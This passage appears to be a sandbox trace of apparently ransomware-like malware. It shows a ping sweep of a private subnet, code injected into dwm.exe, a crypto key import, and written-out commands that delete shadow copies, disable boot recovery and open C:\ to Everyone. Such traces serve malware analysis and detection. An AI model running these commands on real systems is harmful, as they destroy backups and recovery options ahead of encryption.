	[0253.047] IcmpSendEcho (in: IcmpHandle=0x37aeb0, DestinationAddress=0xef00a8c0, RequestData=0x1b0ffbc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1b0ffbe0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1b0ffbe0) returned 0x1
	[0259.503] IcmpCloseHandle (IcmpHandle=0x37aeb0) returned 1
	[0259.503] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x379fb0 | out: hHeap=0x2b0000) returned 1

Thread:
	id = 3185
	os_tid = 0x37c0

	[0252.471] GetLastError () returned 0x57
	[0252.471] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x37a380
	[0252.471] SetLastError (dwErrCode=0x57) 
	[0252.471] IcmpCreateFile () returned 0x37af00
	[0253.048] IcmpSendEcho (in: IcmpHandle=0x37af00, DestinationAddress=0xf000a8c0, RequestData=0x1ac6fd40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1ac6fd60, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1ac6fd60) returned 0x1
	[0259.148] IcmpCloseHandle (IcmpHandle=0x37af00) returned 1
	[0259.148] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x37a380 | out: hHeap=0x2b0000) returned 1

Thread:
	id = 3186
	os_tid = 0x37c4

	[0252.472] GetLastError () returned 0x57
	[0252.472] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x383b80
	[0252.474] SetLastError (dwErrCode=0x57) 
	[0252.474] IcmpCreateFile () returned 0x37af50
	[0253.049] IcmpSendEcho (in: IcmpHandle=0x37af50, DestinationAddress=0xf100a8c0, RequestData=0x1bbbf780, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1bbbf7a0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1bbbf7a0) returned 0x1
	[0258.612] IcmpCloseHandle (IcmpHandle=0x37af50) returned 1
	[0258.612] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x383b80 | out: hHeap=0x2b0000) returned 1

Thread:
	id = 3187
	os_tid = 0x37c8

	[0252.474] GetLastError () returned 0x57
	[0252.474] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x383f50
	[0252.475] SetLastError (dwErrCode=0x57) 
	[0252.475] IcmpCreateFile () returned 0x37afa0
	[0253.050] IcmpSendEcho (in: IcmpHandle=0x37afa0, DestinationAddress=0xf200a8c0, RequestData=0x1bd4fd00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1bd4fd20, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1bd4fd20) returned 0x1
	[0258.173] IcmpCloseHandle (IcmpHandle=0x37afa0) returned 1
	[0258.174] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x383f50 | out: hHeap=0x2b0000) returned 1

Thread:
	id = 3188
	os_tid = 0x37cc

	[0252.475] GetLastError () returned 0x57
	[0252.475] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x384320
	[0252.476] SetLastError (dwErrCode=0x57) 
	[0252.476] IcmpCreateFile () returned 0x37aff0
	[0253.051] IcmpSendEcho (in: IcmpHandle=0x37aff0, DestinationAddress=0xf300a8c0, RequestData=0x1b90f7a0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1b90f7c0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1b90f7c0) returned 0x1
	[0257.750] IcmpCloseHandle (IcmpHandle=0x37aff0) returned 1
	[0257.750] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x384320 | out: hHeap=0x2b0000) returned 1

Thread:
	id = 3189
	os_tid = 0x37d0

	[0252.476] GetLastError () returned 0x57
	[0252.476] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x3846f0
	[0252.476] SetLastError (dwErrCode=0x57) 
	[0252.476] IcmpCreateFile () returned 0x37b040
	[0253.052] IcmpSendEcho (in: IcmpHandle=0x37b040, DestinationAddress=0xf400a8c0, RequestData=0x1bfafaa0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1bfafac0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1bfafac0) returned 0x1
	[0256.843] IcmpCloseHandle (IcmpHandle=0x37b040) returned 1
	[0256.843] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x3846f0 | out: hHeap=0x2b0000) returned 1

Thread:
	id = 3190
	os_tid = 0x37d4

	[0252.477] GetLastError () returned 0x57
	[0252.477] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x384ac0
	[0252.477] SetLastError (dwErrCode=0x57) 
	[0252.477] IcmpCreateFile () returned 0x37b090
	[0253.052] IcmpSendEcho (in: IcmpHandle=0x37b090, DestinationAddress=0xf500a8c0, RequestData=0x1be4f7e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1be4f800, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1be4f800) returned 0x1
	[0256.586] IcmpCloseHandle (IcmpHandle=0x37b090) returned 1
	[0256.586] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x384ac0 | out: hHeap=0x2b0000) returned 1

Thread:
	id = 3191
	os_tid = 0x37d8

	[0252.478] GetLastError () returned 0x57
	[0252.478] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x384e90
	[0252.479] SetLastError (dwErrCode=0x57) 
	[0252.479] IcmpCreateFile () returned 0x37b0e0
	[0253.053] IcmpSendEcho (in: IcmpHandle=0x37b0e0, DestinationAddress=0xf600a8c0, RequestData=0x1c0af780, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1c0af7a0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1c0af7a0) returned 0x1
	[0256.515] IcmpCloseHandle (IcmpHandle=0x37b0e0) returned 1
	[0256.516] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x384e90 | out: hHeap=0x2b0000) returned 1

Thread:
	id = 3192
	os_tid = 0x37dc

	[0252.479] GetLastError () returned 0x57
	[0252.479] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x385260
	[0252.479] SetLastError (dwErrCode=0x57) 
	[0252.480] IcmpCreateFile () returned 0x37b130
	[0253.054] IcmpSendEcho (in: IcmpHandle=0x37b130, DestinationAddress=0xf700a8c0, RequestData=0x1c2cf840, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1c2cf860, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1c2cf860) returned 0x1
	[0256.301] IcmpCloseHandle (IcmpHandle=0x37b130) returned 1
	[0256.302] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x385260 | out: hHeap=0x2b0000) returned 1

Thread:
	id = 3193
	os_tid = 0x37e0

	[0252.480] GetLastError () returned 0x57
	[0252.480] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x385630
	[0252.480] SetLastError (dwErrCode=0x57) 
	[0252.480] IcmpCreateFile () returned 0x37b180
	[0253.055] IcmpSendEcho (in: IcmpHandle=0x37b180, DestinationAddress=0xf800a8c0, RequestData=0x1c4bfce0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1c4bfd00, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1c4bfd00) returned 0x1
	[0256.223] IcmpCloseHandle (IcmpHandle=0x37b180) returned 1
	[0256.224] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x385630 | out: hHeap=0x2b0000) returned 1

Thread:
	id = 3194
	os_tid = 0x37e4

	[0252.481] GetLastError () returned 0x57
	[0252.481] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x385a00
	[0252.481] SetLastError (dwErrCode=0x57) 
	[0252.481] IcmpCreateFile () returned 0x37b1d0
	[0253.056] IcmpSendEcho (in: IcmpHandle=0x37b1d0, DestinationAddress=0xf900a8c0, RequestData=0x1c76fec0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1c76fee0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1c76fee0) returned 0x1
	[0256.112] IcmpCloseHandle (IcmpHandle=0x37b1d0) returned 1
	[0256.112] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x385a00 | out: hHeap=0x2b0000) returned 1

Thread:
	id = 3195
	os_tid = 0x37e8

	[0252.482] GetLastError () returned 0x57
	[0252.482] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x385dd0
	[0252.482] SetLastError (dwErrCode=0x57) 
	[0252.482] IcmpCreateFile () returned 0x37b220
	[0253.057] IcmpSendEcho (in: IcmpHandle=0x37b220, DestinationAddress=0xfa00a8c0, RequestData=0x1c8dfb40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1c8dfb60, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1c8dfb60) returned 0x1
	[0255.945] IcmpCloseHandle (IcmpHandle=0x37b220) returned 1
	[0255.945] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x385dd0 | out: hHeap=0x2b0000) returned 1

Thread:
	id = 3196
	os_tid = 0x37ec

	[0252.482] GetLastError () returned 0x57
	[0252.483] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x3861a0
	[0252.483] SetLastError (dwErrCode=0x57) 
	[0252.483] IcmpCreateFile () returned 0x37b270
	[0253.058] IcmpSendEcho (IcmpHandle=0x37b270, DestinationAddress=0xfb00a8c0, RequestData=0x1ca6f780, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1ca6f7a0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3197
	os_tid = 0x37f0

	[0252.483] GetLastError () returned 0x57
	[0252.483] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x386570
	[0252.484] SetLastError (dwErrCode=0x57) 
	[0252.484] IcmpCreateFile () returned 0x37b2c0
	[0253.058] IcmpSendEcho (IcmpHandle=0x37b2c0, DestinationAddress=0xfc00a8c0, RequestData=0x1cbffb00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1cbffb20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3198
	os_tid = 0x37f4

	[0252.484] GetLastError () returned 0x57
	[0252.484] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x386940
	[0252.484] SetLastError (dwErrCode=0x57) 
	[0252.485] IcmpCreateFile () returned 0x37b310
	[0253.059] IcmpSendEcho (IcmpHandle=0x37b310, DestinationAddress=0xfd00a8c0, RequestData=0x1c60f7a0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1c60f7c0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 3199
	os_tid = 0x37f8

	[0252.485] GetLastError () returned 0x57
	[0252.485] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c8) returned 0x386d10
	[0252.485] SetLastError (dwErrCode=0x57) 
	[0252.485] IcmpCreateFile () returned 0x37b360
	[0253.060] IcmpSendEcho (IcmpHandle=0x37b360, DestinationAddress=0xfe00a8c0, RequestData=0x1c1afc80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1c1afca0, ReplySize=0x4c, Timeout=0x157c) 

Process:
	id = "5"
	image_name = "dwm.exe"
	filename = "c:\\windows\\system32\\dwm.exe"
	page_root = "0x69a6000"
	os_pid = "0x434"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "injection"
	parent_id = "2"
	os_parent_pid = "0x338"
	cmd_line = "\"C:\\Windows\\system32\\Dwm.exe\""
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 14
	os_tid = 0x364


Thread:
	id = 15
	os_tid = 0x44c


Thread:
	id = 16
	os_tid = 0x440


Thread:
	id = 17
	os_tid = 0x438


Thread:
	id = 18
	os_tid = 0x9c8

	[0134.230] GetVersionExW (in: lpVersionInformation=0x218f660*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x218f660*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0134.239] GetWindowsDirectoryW (in: lpBuffer=0x218f710, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0134.247] SetLastError (dwErrCode=0x0) 
	[0134.247] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0134.247] GetLastError () returned 0x2
	[0134.248] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0x13c
	[0134.254] Sleep (dwMilliseconds=0x1388) 
	[0139.847] SetLastError (dwErrCode=0x0) 
	[0139.847] GetCurrentThread () returned 0xfffffffffffffffe
	[0139.848] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=0, TokenHandle=0x218eed0 | out: TokenHandle=0x218eed0*=0x0) returned 0
	[0139.848] GetLastError () returned 0x3f0
	[0139.848] ImpersonateSelf (ImpersonationLevel=0x2) returned 1
	[0139.849] GetCurrentThread () returned 0xfffffffffffffffe
	[0139.849] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=0, TokenHandle=0x218eed0 | out: TokenHandle=0x218eed0*=0x134) returned 1
	[0139.857] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeBackupPrivilege", lpLuid=0x218ee58 | out: lpLuid=0x218ee58*(LowPart=0x11, HighPart=0)) returned 1
	[0139.865] AdjustTokenPrivileges (in: TokenHandle=0x134, DisableAllPrivileges=0, NewState=0x218ee20*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1
	[0139.865] GetLastError () returned 0x514
	[0139.865] GetVersionExW (in: lpVersionInformation=0x218ed10*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x218ed10*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0139.865] GetWindowsDirectoryW (in: lpBuffer=0x13f5adad0, uSize=0x64 | out: lpBuffer="C:\\Windows") returned 0xa
	[0139.865] GetWindowsDirectoryW (in: lpBuffer=0x13f5adc90, uSize=0x140 | out: lpBuffer="C:\\Windows") returned 0xa
	[0140.103] CryptAcquireContextW (in: phProv=0x13f5adb38, szContainer="AES_unique_", szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x10 | out: phProv=0x13f5adb38*=0x0) returned 0
	[0141.371] CryptAcquireContextW (in: phProv=0x13f5adb38, szContainer="AES_unique_", szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x20 | out: phProv=0x13f5adb38*=0x0) returned 0
	[0142.096] CryptAcquireContextW (in: phProv=0x13f5adb38, szContainer="AES_unique_", szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x28 | out: phProv=0x13f5adb38*=0x7db40) returned 1
	[0142.213] CryptImportKey (in: hProv=0x7db40, pbData=0x13f46e310, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x1, phKey=0x13f5adc80 | out: phKey=0x13f5adc80*=0x88620) returned 1
	[0142.244] Sleep (dwMilliseconds=0x3e8) 
	[0145.100] WinExec (lpCmdLine="cmd /c \"WMIC.exe shadowcopy delete\"", uCmdShow=0x0) returned 0x21
	[0146.235] WinExec (lpCmdLine="cmd /c \"vssadmin.exe Delete Shadows /all /quiet\"", uCmdShow=0x0) returned 0x21
	[0146.251] WinExec (lpCmdLine="cmd /c \"bcdedit /set {default} recoveryenabled No & bcdedit /set {default}\"", uCmdShow=0x0) returned 0x21
	[0146.546] WinExec (lpCmdLine="cmd /c \"bootstatuspolicy ignoreallfailures\"", uCmdShow=0x0) returned 0x21
	[0146.563] GetLogicalDrives () returned 0x4
	[0146.883] WinExec (lpCmdLine="icacls \"C:\\*\" /grant Everyone:F /T /C /Q", uCmdShow=0x0) returned 0x21
	[0147.529] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f455938, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x138
	[0147.859] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2620000
	[0147.860] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000
	[0147.860] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x27d0000
	[0147.860] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x1f60000
	[0147.860] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2970000
	[0147.861] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x1f70000
	[0147.861] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2a70000
	[0147.861] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x20f0000
	[0147.861] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000
	[0147.862] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2100000
	[0147.862] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2c70000
	[0147.862] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2190000
	[0147.863] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2d70000
	[0147.863] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x21a0000
	[0147.863] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2e70000
	[0147.864] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x21b0000
	[0147.864] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x2f70000
	[0147.864] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x21c0000
	[0147.864] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3070000
	[0147.865] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2720000
	[0147.865] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3170000
	[0147.865] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2730000
	[0147.865] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3270000
	[0147.866] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2740000
	[0147.866] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3370000
	[0147.866] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x28d0000
	[0147.879] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3470000
	[0147.879] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x28e0000
	[0147.880] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3570000
	[0147.880] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x3670000
	[0147.880] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3680000
	[0147.881] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x3780000
	[0147.881] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3790000
	[0147.881] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x3890000
	[0147.882] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x38a0000
	[0147.882] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x39a0000
	[0147.883] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x39b0000
	[0147.883] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x3ab0000
	[0147.885] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3ac0000
	[0147.885] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x3bc0000
	[0147.885] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3bd0000
	[0147.886] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x3cd0000
	[0147.886] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3ce0000
	[0147.886] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x3de0000
	[0147.887] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3df0000
	[0147.887] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x3ef0000
	[0147.887] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3f00000
	[0147.888] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4000000
	[0147.888] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4010000
	[0147.888] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4110000
	[0147.889] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4120000
	[0147.889] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4220000
	[0147.889] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4230000
	[0147.890] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4330000
	[0147.890] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4340000
	[0147.890] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4440000
	[0147.891] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4450000
	[0147.891] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4550000
	[0147.891] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4560000
	[0147.892] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4660000
	[0147.892] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4670000
	[0147.893] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4770000
	[0147.893] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4780000
	[0147.893] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4880000
	[0147.894] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4890000
	[0147.894] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4990000
	[0147.894] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x49a0000
	[0147.895] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4aa0000
	[0147.895] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4ab0000
	[0147.895] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4bb0000
	[0147.896] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4bc0000
	[0147.896] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4cc0000
	[0147.896] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4cd0000
	[0147.897] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4dd0000
	[0147.897] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4de0000
	[0147.897] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4ee0000
	[0147.898] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4ef0000
	[0147.898] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4ff0000
	[0147.899] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5000000
	[0147.899] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5100000
	[0147.900] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5110000
	[0147.900] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5210000
	[0147.900] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5220000
	[0147.901] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5320000
	[0147.901] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5330000
	[0147.901] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5430000
